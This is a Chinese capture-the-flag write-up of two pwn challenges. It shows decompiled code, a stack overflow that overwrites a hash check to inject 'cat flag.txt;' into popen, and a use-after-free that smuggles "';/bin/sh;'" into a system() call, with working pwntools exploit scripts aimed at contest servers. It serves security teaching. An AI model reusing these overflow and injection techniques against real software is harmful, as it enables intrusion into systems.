secret_file
这道题真的是折腾我了好久。
64位,保护全开

主函数是这样的。程序比较复杂,逆向基础不好的我受到了很大阻碍。直接连接程序的结果是,执行一次输入,然后返回密码错误。
阅读代码,在line 25有一个getline,这个函数的作用是输入,知道输入中断或接收到换行符。
听起来就是没有限制的输入。因此这里可能会造成溢出。(这里说没有限制是不严谨的。getline会允许输入至所给变量空间的上限。然而如果给的地址是NULL,则会自行malloc空间。此时的空间会根据输入的长度决定。本题的所给空间在line 24被赋值为空。)
line 29~30的主要作用是判断输入的字符串是否正确结尾,若没有正确结尾(换行符)则退出。
line 33把输入的字符串复制给了dest。
接着就进入了DD0函数。

line 13是在初始化v5,为接下来的hash计算做准备。
line 14对Input进行了hash的前0x100字节进行了hash运算。(Input就是dest,0x100等于256)并将结果储存在了v5。
line 15把v5的值给了_v16。(简单描述)
回到主函数,line 35~42进行了一段意义不明的循环。(路过大佬求告知)
在line 44进行了一次比对,比对了v15与v17是否相等。相等则会调用popen函数。
popen函数的v14变量是命令,第二个参数为读写模式。这个函数能起shell并执行v14的命令。所以我们要想办法把利用v14读取flag。
观察栈分布,dest是在v14,v15,v17之上的,全部都可以被我们覆盖。
比对的话呢,是把我们输入的payload的前0x100个字节给hash加密然后和v15储存的比对了。所以我们可以构造payload=padding+shellcode+hash(padding)把v15覆盖为v17的值来通过比对。
(这里是忽略了迷之循环的作用,把v17简单当作了hash加密后的结果,即v16)
最终exp。
1 2 3 4 5 6 7
| from pwn import * import hashlib res = remote('220.249.52.133',42875) padding = 'a'*0x100 payload = padding + 'cat flag.txt;'.ljust(0x1B,' ') + hashlib.sha256(padding).hexdigest() res.sendline(payload) print(res.recv())
|
另附:网上有师傅给出了v17的正确求法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from pwn import * import hashlib
debug = 1 def exp(string, debug): if debug == 1: r = process('./secret_file') else: r = remote('111.198.29.45', 37598) payload = 'a' * 0x100 memory = '' sha256 = hashlib.sha256(payload).hexdigest() for i in range(0, len(sha256), 2): memory = memory + chr(int(sha256[i:i + 2], 16)) memory = list(memory + '\x00' * 0x41) for i in range(0x20): tmp = '%02x'%ord(memory[i]) + '\x00' memory[0x20 + 2 * i] = tmp[0] memory[0x20 + 2 * i + 1] = tmp[1] memory[0x20 + 2 * i + 2] = tmp[2] v15 = ''.join([i for i in memory[0x20:-1]]) ''' string中不要用\x00填充 payload = payload + (string + ';#').ljust(0x1f8 - 0x1dd, '\x00') + v15 + '\n' 否则strcpy的时候会进行截断,v15无法正常输入 ''' ''' v15后面不要跟\x00 payload = payload + (string + ';#').ljust(0x1f8 - 0x1dd, ' ') + v15 + '\x00\n' 否则strrchr的时候,str会以\x00作为结尾,则\n被截断 ''' payload = payload + (string + ';#').ljust(0x1f8 - 0x1dd, ' ') + v15 + '\n' r.send(payload) log.info('%s\n'%r.recv()) r.close() while True: print '[*] $ ', command = raw_input()[:-1] if command == 'exit': break exp(command, debug)
|
原文链接
这是本系列文章第一道堆pwn。
64bit 除pie外保护全开
看主函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { __gid_t v3; FILE *v4; __int64 v5; int v6;
v3 = getegid(); setresgid(v3, v3, v3); setbuf(stdout, 0LL); puts("Welcome to Mary's Unix Time Formatter!"); do { while ( 2 ) { puts("1) Set a time format."); puts("2) Set a time."); puts("3) Set a time zone."); puts("4) Print your time."); puts("5) Exit."); __printf_chk(1LL, "> "); v4 = stdout; fflush(stdout); switch ( sub_400D26() ) { case 1: v6 = sub_400E00(); break; case 2: v6 = sub_400E63(); break; case 3: v6 = sub_400E43(); break; case 4: v6 = sub_400EA3((__int64)v4, (__int64)"> ", v5); break; case 5: v6 = sub_400F8F(); break; default: continue; } break; } } while ( !v6 ); return 0LL; }
|
主函数看起来就是堆pwn该有的样子。
先看下case 1的sub_400E00函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| __int64 sub_400E00() { char *v0;
v0 = sub_400D74(); if ( (unsigned int)sub_400CB5(v0) ) { ptr = v0; puts("Format set."); } else { puts("Format contains invalid characters."); sub_400C7E(v0); } return 0LL; }
|
再深入看一下sub_400D74
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| char *sub_400D74() { __int64 v0; __int64 v1; char s[1024]; unsigned __int64 v4;
v4 = __readfsqword(0x28u); __printf_chk(1LL, "%s"); fflush(stdout); fgets(s, 1024, stdin); s[strcspn(s, "\n")] = 0; return PutStr2NewAddr(s, (__int64)"\n", v0, v1); }
|
这里有一个被我改过名字的函数PutStr2NewAddr,这个函数的作用和名字一样,把一个字符串放进新申请的地址里。
看下这个函数的细节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| char *__fastcall sub_400C26(const char *a1, __int64 a2, __int64 a3, __int64 a4) { char *NewAddr; char *v5; __int64 v7;
v7 = a4; NewAddr = strdup(a1); if ( !NewAddr ) err(1, "strdup", v7); v5 = NewAddr; if ( getenv("DEBUG") ) __fprintf_chk(stderr, 1LL, "strdup(%p) = %p\n", a1, v5); return v5; }
|
line 8有个strdup函数,这个函数会malloc一块地址,并把字符串放入。
sub_400E00函数还调用了一个sub_400cb5函数。这个函数的主要作用是检查用户输入
1 2 3 4 5 6 7 8 9
| _BOOL8 __fastcall sub_400CB5(char *s) { char accept; unsigned __int64 v3;
strcpy(&accept, "%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^# "); v3 = __readfsqword(0x28u); return strspn(s, &accept) == strlen(s); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| __int64 sub_400E63() { int v0; const char *v1;
__printf_chk(1LL, "Enter your unix time: "); fflush(stdout); v0 = sub_400D26(); v1 = "Unix time must be positive"; if ( v0 >= 0 ) { dword_602120 = v0; v1 = "Time set."; } puts(v1); return 0LL; }
|
case2对应的函数没有堆相关操作,是接受用户输入时间的函数。
再看case 3的sub_400E43
1 2 3 4 5 6
| __int64 sub_400E43() { value = sub_400D74(); puts("Time zone set."); return 0LL; }
|
同样是调用了sub_400D74函数。所以选项3也会进行malloc。
接着是重要的case 4。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| __int64 __fastcall sub_400EA3(__int64 a1, __int64 a2, __int64 a3) { __int64 v3; char command; unsigned __int64 v6;
v6 = __readfsqword(0x28u); if ( ptr ) { __snprintf_chk(&command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", (unsigned int)dword_602120, ptr, a3); __printf_chk(1LL, "Your formatted time is: "); fflush(stdout); if ( getenv("DEBUG") ) __fprintf_chk(stderr, 1LL, "Running command: %s\n", &command, v3); setenv("TZ", value, 1); system(&command); } else { puts("You haven't specified a format!"); } return 0LL; }
|
这个函数把ptr指针指向的字符串进行格式化并放入system执行。我们很容易想到如果能控制ptr进行命令注入就可以get shell。
到目前还没有找到明显的漏洞,当然我们都知道pwn题常常会在退出时出幺蛾子。
关键的case 5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| signed __int64 sub_400F8F() { signed __int64 result; char s; unsigned __int64 v2;
v2 = __readfsqword(0x28u); sub_400C7E(ptr); sub_400C7E(value); __printf_chk(1LL, "Are you sure you want to exit (y/N)? "); fflush(stdout); fgets(&s, 16, stdin); result = 0LL; if ( (s & 0xDF) == 89 ) { puts("OK, exiting."); result = 1LL; } return result; }
|
line 10到结尾是用户选择是否真的退出。关键点在line 8-9。
1 2 3 4 5 6 7 8
| void __fastcall sub_400C7E(void *ptr) { __int64 v1;
if ( getenv("DEBUG") ) __fprintf_chk(stderr, 1LL, "free(%p)\n", ptr, v1); free(ptr); }
|
所以line 8-9释放了ptr和value两个指针。也就是说,当我们执行case 5后选择n就可以触发UAF漏洞。而ptr的值是在case 1中分配的,value是在case 3中分配的。
ptr被释放,所指向的地址存入了fastbin。此时我们再执行case 3就会把刚放进fastbin的地址给value,此时ptr和value都指向同一个地址。case 1对输入有限制,case 3没有限制,我们就成功利用UAF使ptr包含了 shellcode。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import * context.log_level = 'debug'
io =remote('220.249.52.133',38913)
io.recvuntil('> ') io.sendline('1') io.recvuntil('Format: ') io.sendline('aaa')
io.recvuntil('> ') io.sendline('5') io.recvuntil('Are you sure you want to exit (y/N)?') io.sendline('N')
io.recvuntil('> ') io.sendline('3') io.recvuntil('Time zone: ') io.sendline('\';/bin/sh;\'')
io.recvuntil('> ') io.sendline('4') print("shell") io.interactive()
|